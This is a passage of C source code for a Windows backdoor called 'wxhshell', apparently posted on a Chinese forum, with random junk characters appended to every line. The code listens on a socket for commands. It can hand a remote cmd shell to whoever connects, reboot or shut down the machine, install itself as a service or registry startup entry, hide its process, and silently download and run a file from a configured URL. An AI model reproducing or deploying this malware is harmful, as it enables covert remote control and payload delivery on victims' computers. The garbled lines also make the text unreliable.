  else { J:*-gwv9*m  
y046:@v(  
    switch(cmd[0]) { "SxLN 8.:  
  pKUP2m`MW  
  // 帮助 K5>p89mZ  
  case '?': { 2}6%qgnT-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l|2D/K5  
    break; SLL3v,P(7  
  } /1UOT\8U  
  // 安装 \Q?ip&R  
  case 'i': { rqPo)AL  
    if(Install()) d*8 $>GA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r"+644  
    else JuR"J1MY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o G*5f  
    break; G3P &{.v  
    } /6uT6G+(z}  
  // 卸载 "I6P=]|b  
  case 'r': { S0,R_d')  
    if(Uninstall()) nQX+pkJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (IqZ@->nw  
    else /1=4"|q>h'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rd \.:u  
    break; H9XvO  
    } ~/pzxo$  
  // 显示 wxhshell 所在路径 Qd_6)M-  
  case 'p': { Kb#4ILA  
    char svExeFile[MAX_PATH]; 7,qYV}  
    strcpy(svExeFile,"\n\r"); :$;Fhf<5  
      strcat(svExeFile,ExeFile); a]17qMl  
        send(wsh,svExeFile,strlen(svExeFile),0); 7w :ef0S  
    break; gN8hJG'0  
    } $,=6[T!z+e  
  // 重启 SvM6iZ]  
  case 'b': { !%+2Yifna  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jd]s<C3o  
    if(Boot(REBOOT)) "xI"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aimarU  
    else { qU2~fNY  
    closesocket(wsh); ,_aM`%q?Fj  
    ExitThread(0); <P[T!gST  
    } bK"SKV  
    break; i$G;f^Z!Y  
    } XgN` 7!Z  
  // 关机 h+p*=|j`  
  case 'd': { u@'0Vk0zGH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >WJf=F`_H  
    if(Boot(SHUTDOWN)) K5ZC:Ks  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:0s2  
    else { [v7^i_d  
    closesocket(wsh); 5,qj7HZF  
    ExitThread(0); _R'Fco  
    } ZRxZume<f  
    break; Q)m4_+,d  
    } ? &G`{Ey  
  // 获取shell E1dD7r\  
  case 's': { T{wpJ"F5<]  
    CmdShell(wsh); n~"$^Vr  
    closesocket(wsh); <?-YTY|  
    ExitThread(0); w{[=l6L m  
    break; 4%4avEa"w  
  } 2]GdD*  
  // 退出 1_fZm+oW!  
  case 'x': { S= R7`a<.5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WARb"8Kg  
    CloseIt(wsh); ZUz ^!d  
    break; 8`4<R6]LKB  
    } M` q?Fk  
  // 离开 PWh^[Rd)  
  case 'q': { 1c3TN#|)W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >_rha~   
    closesocket(wsh); N8qDdr9p?c  
    WSACleanup(); 8h3=b[  
    exit(1); 5>3}_  
    break; IDkWGh  
        } R1nJUOE4w^  
  } ]{"Br$  
  } R>DaOH2K*  
(8v7|Pe8  
  // 提示信息 w%WF-:u7|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }X x(^Zh  
} kKD`rfyG \  
  } #-pc}Y|<  
WZOY)>K  
  return; o,U9}_|A  
} JnHo9K2.  
mNmLyU=d  
// shell模块句柄 {x'GJtpb  
int CmdShell(SOCKET sock) V .os  
{ O: @}lK+H  
STARTUPINFO si; m(], r})  
ZeroMemory(&si,sizeof(si)); RoCfJ65  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0|R# Tb;Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;a-$D]Db  
PROCESS_INFORMATION ProcessInfo; +/#Ei'do  
char cmdline[]="cmd"; >=]'hyn]]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C6O8RHg  
  return 0; ??n*2s@t  
} /Q,{?';~  
W@y J AQ  
// 自身启动模式 c/B'jPt  
int StartFromService(void) 66^ycZCH  
{ &1+X\c+t b  
typedef struct '9c2Q/  
{ qwIa?!8 o  
  DWORD ExitStatus; 4iW'kuK  
  DWORD PebBaseAddress; D:Q 21Ch  
  DWORD AffinityMask; *Zm^ ~Vo  
  DWORD BasePriority; )tCX y4  
  ULONG UniqueProcessId; -n'F v@U  
  ULONG InheritedFromUniqueProcessId; )c l5B{1P  
}   PROCESS_BASIC_INFORMATION; aM7uBx\8 5  
>A0k 8T  
PROCNTQSIP NtQueryInformationProcess; "NgoaG~!YO  
sXd8rj:o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rr#K"SP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vd=yr'?  
B||;'  
  HANDLE             hProcess; .VTy[|o   
  PROCESS_BASIC_INFORMATION pbi; K}6dg<  
Cy*|&=>j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `"qP  
  if(NULL == hInst ) return 0; 0 IQ'3_  
{.yStB. T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  ]xguBh]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /y^7p9Z`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F :6SPY y  
=]-j;#'&  
  if (!NtQueryInformationProcess) return 0; 6a;v&5  
FQ>`{%>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N}\[Gr  
  if(!hProcess) return 0; q>w)"Dd  
cBo{/Tn:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <>m }}^  
!QDQ_  
  CloseHandle(hProcess); # O4gg  
 JHf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *D'$"@w3  
if(hProcess==NULL) return 0; ='TE,et@d  
z>w`ZD}XY  
HMODULE hMod; N)&4Hy  
char procName[255]; >DPB!XA3  
unsigned long cbNeeded; OgF+O S  
jE#O>3+.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gKOOHUCb  
,;M4jc {  
  CloseHandle(hProcess); !"+'A)Nve  
~EK'&Y"1  
if(strstr(procName,"services")) return 1; // 以服务启动 O5H9Y}i]  
hDV20&hq  
  return 0; // 注册表启动 :>itXD!  
} *6 _tQ9G  
PvGDTYcKp  
// 主模块 &qS[%K )  
int StartWxhshell(LPSTR lpCmdLine) 4mn&4e  
{ y>*xVK{D  
  SOCKET wsl; 6\61~u~  
BOOL val=TRUE; I |# 5NE6  
  int port=0; lY*[tmz)  
  struct sockaddr_in door; UX]L;kI  
+:3*  
  if(wscfg.ws_autoins) Install(); 0@2mXO9f"  
%%cHoprDa  
port=atoi(lpCmdLine); ={hX}"*D  
JoSJH35=:  
if(port<=0) port=wscfg.ws_port; 9:I6( Zv0  
rpw.]vnn  
  WSADATA data; hK<5KZ/4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QJ|ap4r  
e)E$}4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w,Ee>cV]a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^!q?vo\j|  
  door.sin_family = AF_INET; ;W>Y:NCrp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^( Rvk  
  door.sin_port = htons(port); -R{V-   
y1=N F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b,KcBQ.  
closesocket(wsl); Ew3ibXD  
return 1; 8BvonY t=8  
} jNeI2-9c}  
h5yzwj:C?  
  if(listen(wsl,2) == INVALID_SOCKET) { :UJa&$)  
closesocket(wsl); wCk~CkC?  
return 1; P]z[v)}  
} f@co<iA  
  Wxhshell(wsl); %p X6QRt?  
  WSACleanup(); gNGr!3*)w  
x1 1U@jd+1  
return 0; )*c> |7G  
:a:l j  
} k<+0o))  
U?.9D  
// 以NT服务方式启动 ^fz+41lE\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L],f3<  
{ S(:l+JP  
DWORD   status = 0; t20PP4FWM  
  DWORD   specificError = 0xfffffff; .UoOO'1K  
ZIdA\_c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fb  da  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LSQz"Ll l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ITy/eZ"&:  
  serviceStatus.dwWin32ExitCode     = 0; BPr ^D0P  
  serviceStatus.dwServiceSpecificExitCode = 0; xJ2*LM-  
  serviceStatus.dwCheckPoint       = 0; "`[!Lz  
  serviceStatus.dwWaitHint       = 0; tTU=+*Io  
P9T5L<5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GA`PY-Vs)  
  if (hServiceStatusHandle==0) return; e *j.  
ZtHm\VTS  
status = GetLastError(); lD{Aa!\  
  if (status!=NO_ERROR) 1wW)tNKIF  
{ /k"`7`!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  &QNWL]  
    serviceStatus.dwCheckPoint       = 0; l1]p'Liuu  
    serviceStatus.dwWaitHint       = 0;  s}onsC  
    serviceStatus.dwWin32ExitCode     = status; dJ?XPo"Cm=  
    serviceStatus.dwServiceSpecificExitCode = specificError; y< C<_2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cQ:"-!ff  
    return; gT/@dVV  
  } RmrL^asg  
-)vEWn$3<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2YuN~-  
  serviceStatus.dwCheckPoint       = 0; !gnj]k&/c  
  serviceStatus.dwWaitHint       = 0; o->\vlbD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $Ci0I+5w  
} X,8<oX1r  
TPhTaKCio  
// 处理NT服务事件,比如:启动、停止 _ pO`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g/CxXSv@0  
{ 5'a3huRtV  
switch(fdwControl) b3YO!cJ  
{ |y<),j6  
case SERVICE_CONTROL_STOP: 5d@t7[]  
  serviceStatus.dwWin32ExitCode = 0; ()sTb>L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5sPywk{  
  serviceStatus.dwCheckPoint   = 0; LI)!4(WH  
  serviceStatus.dwWaitHint     = 0; , *qCf@$I  
  { +\Q?w?DE|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m*X[ Jtr  
  } <}6{{&mT4  
  return; Jgu94.;5  
case SERVICE_CONTROL_PAUSE: -CH`>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n41@iK2l  
  break; wW?,;B'74  
case SERVICE_CONTROL_CONTINUE: ny-7P;->8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I]!^;))  
  break; d2s OYCKe  
case SERVICE_CONTROL_INTERROGATE: E2L(wt}^  
  break; q2:K 4  
}; Q !qrNa6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L!_ZY  
}  ;v  
jEXW  
// 标准应用程序主函数 y$81Z q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $hxN hI  
{ >!6i3E^  
)EyI0R]5  
// 获取操作系统版本 +jC*'7p@  
OsIsNt=GetOsVer(); oPc\<$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4(l?uU$  
 htY=w}>  
  // 从命令行安装 C6_@\&OA  
  if(strpbrk(lpCmdLine,"iI")) Install(); .k4W_9  
`bKA+c,f  
  // 下载执行文件 D\ /xu-&  
if(wscfg.ws_downexe) { NrDi   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @5) 8L/[l  
  WinExec(wscfg.ws_filenam,SW_HIDE); B5X sGLV  
} J/);"bg_O  
$N2SfyX7  
if(!OsIsNt) { hC_Vts[v/  
// 如果时win9x,隐藏进程并且设置为注册表启动 \n0Oez0z!B  
HideProc(); A~nf#(!^]  
StartWxhshell(lpCmdLine); 56hA]O29O  
} NvjJ b-u  
else 7t9c7HLuj/  
  if(StartFromService()) gqib:q ;r  
  // 以服务方式启动 W\f9jfD  
  StartServiceCtrlDispatcher(DispatchTable); avp; *G }  
else iA_8(Yo  
  // 普通方式启动 ydv3owN  
  StartWxhshell(lpCmdLine); 7nzGAz_W  
M9!AIHq4  
return 0; *sQcg8{^  
}
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只看该作者 1 发表于: 2006-10-10
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